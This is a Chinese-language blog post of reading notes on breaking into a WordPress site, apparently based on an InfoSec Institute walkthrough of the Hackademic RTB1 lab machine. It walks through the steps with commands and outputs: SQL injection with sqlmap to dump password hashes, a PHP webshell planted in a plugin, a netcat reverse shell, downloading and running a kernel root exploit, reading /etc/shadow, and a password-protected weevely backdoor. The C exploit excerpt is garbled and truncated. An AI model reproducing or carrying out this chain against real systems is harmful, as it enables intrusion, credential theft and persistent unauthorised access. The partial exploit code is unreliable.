[web安全] 攻破一个WordPress网站的常规思路

下午看到一篇文章,说的是黑客如何攻破一个网站,简要做下读书笔记。文章地址:https://blog.csdn.net/luo200618/article/details/52725571

1.渗透测试前的简单信息收集
域名信息,IP,OS版本, 应用服务器版本

ping 域名 即可获取目标机器的IP
通过:sameip.org 可以找出在同一台服务器上的其它网站
通过:who.is 查询域名注册信息,所有者信息,DNS信息
通过:whatweb example.com 查询网站的HTTPServer信息

2.服务端口扫描
nmap的使用
nmap -sV example.com 扫描OS运行的服务,开放的端口
nmap -O example.com 扫描OS的版本,经验证,多数知名网站无法用这个命令扫描到系统版本

3.扫描漏洞信息
sqlmap – 自动化的SQL注入工具
Nikto – 网页服务器漏洞扫描器
W3AF – w3af是一个Web应用程序攻击和检查框架.该项目已超过130个插件,其中包括检查网站爬虫,
SQL注入(SQL Injection),跨站(XSS),本地文件包含(LFI),远程文件包含(RFI)等.
该项目的目标是要建立一个框架,以寻找和开发Web应用安全漏洞,很容易使用和扩展.
(用法介绍 http://www.freebuf.com/column/146469.html)

例:perl nikto.pl -h example.com 通过这个语句可以用nikto.pl扫描网站的漏洞

假设这是个wordpress网站,如果发现某个网址有sql注入漏洞,可通过Sqlmap来检测这个url:
格式: python sqlmap.py -u url
{
这部分具体如何操作需要再研究,原理如下:
在确认了mysql显错注入漏洞后,逐步通过组织不同的参数来采集数据库名,表名,表的字段。
最终拿到用户表中存储的用户名及密码的HASH值。接着再把hash密码拿到网站进行在线破解:
网址为:http://www.onlinehashcrack.com/free-hash-reverse.php
}
拿破解到的登录信息进入wordpress后台wp-admin
尝试上传php webshell到服务器,以方便运行一些Linux命令。在插件页面寻找任何可编辑的插件,编辑插入我们自己的php webshell。
更新文件后,访问我们的php webshell。
通过php webshell,我们就可以访问网站的文件。注意,我们的目标是获取网站服务器的root权限,然后再入侵服务器上其它网站。
接下来要做的就是反弹shell。

4.shell反弹提权(reverse shell)
通过NC进行shell反弹
简单的理解,就是在被攻击的机器上运行代码,主动连接攻击者的服务器,将目标机器的命令行映射到攻击机器上。
攻击者通过这个连接对目标机器进行控制。
通过这种方式可以绕过目标机器内网防火墙对于端口的访问限制。
连接方式上刚好与ssh,telnet相反。

下面用NC来反弹一个shell:
操作步骤:
先在我们自己的电脑上监听端口:5555 (命令:nc -lvvp 5555)
在浏览器上通过php webshell在上反向连接我们的电脑,参数输入我们自己电脑的IP,端口填写:5555
浏览器php webshell点击连接后,网站服务器就会主动连接我们本地电脑。
这时我们可在本地的nc命令行中尝试执行如下命令:
id (显示网站服务器当前用户信息)
返回信息:uid=48(apache) gid=489(apache) groups=489(apache)
pwd
返回信息:/var/www/html/Hackademic_RTB1/wp-content/plugins
uname -a
返回信息:Linux HackademicRTB1 2.6.31.5-127.fc12.i686 #1 SMP Sat Nov 7 21:41:45 EST 2009 i686 i686 i386 GNU/Linux

现在我们知道,服务器的内核版本是2.6.31.5-127.fc12.1686,我们在exploit-db.com中搜索此版本的相关漏洞.

5.linux系统的权限提升
在服务器上测试了很多exp之后,我们用以下的exp来提升权限.
http://www.exploit-db.com/exploits/15285

我们在nc shell上执行以下命令:
wget http://www.exploit-db.com/exploits/15285 -o roro.c
(下载exp到服务器并重命名为roro.c)
注:很多linux内核的exp都是C语言开发的,因此我们保存为.c扩展名.
exp roro.c代码如下:

include

include

include

include

include

include

include

include

include

include

include

define RECVPORT 5555

define SENDPORT 6666

int prep_sock(int port)
{
int s, ret;
struct sockaddr_in addr;
s = socket(PF_RDS, SOCK_SEQPACKET, 0);
if(s < 0)
{
printf(“[*] Could not open socket.\n”);
exit(-1);
}
memset(&addr, 0, sizeof(addr));

通过以上代码我们发现该exp是C语言开发的,我们需要将他编译成elf格式的,命令如下:
gcc roro.c –o roro

接下来执行编译好的exp:
./roro

执行完成之后我们输入id命令:
id

我们发现我们已经是root权限了:
uid=0(root) gid=0(root)

现在我们可以查看/etc/shadow文件:
cat /etc/shadow

查看/etc/passwd 文件
cat /etc/passwd

我们可以使用”john the ripper”工具破解所有用户的密码.
但是我们不会这样做,我们需要在这个服务器上留下后门以方便我们在任何时候访问它.

我们用weevely制作一个php小马上传到服务器上.

查看weevely使用选项:

./main.py –

用weevely创建一个密码为koko的php后门

./main.py -g -o hax.php -p koko

接下来上传到服务器之后来使用它:

./main.py -t -u http://hack-test.com/Hackademic_RTB1/wp-content/plugins/hax.php -p koko

上述命令执行后,相当于远程登陆到了网站服务器的命令行。

原文网址:http://resources.infosecinstitute.com/hacking-a-wordpress-site/

附录:

backtrack 5(bt5)
Backtrack是处于世界领先地位的渗透测试和信息安全审计发行版本,是圈内非常著名的黑客攻击平台。
有着上百种预先安装好的工具软件,内置大量的网络安全检测工具以及黑客破解软件等。
是一个封装好的Linux操作系统,可以放到U盘或者硬盘中启动。
BackTrack现已被Kali Linux所代替,BT将不再维护。

Leave a Reply

Your email address will not be published.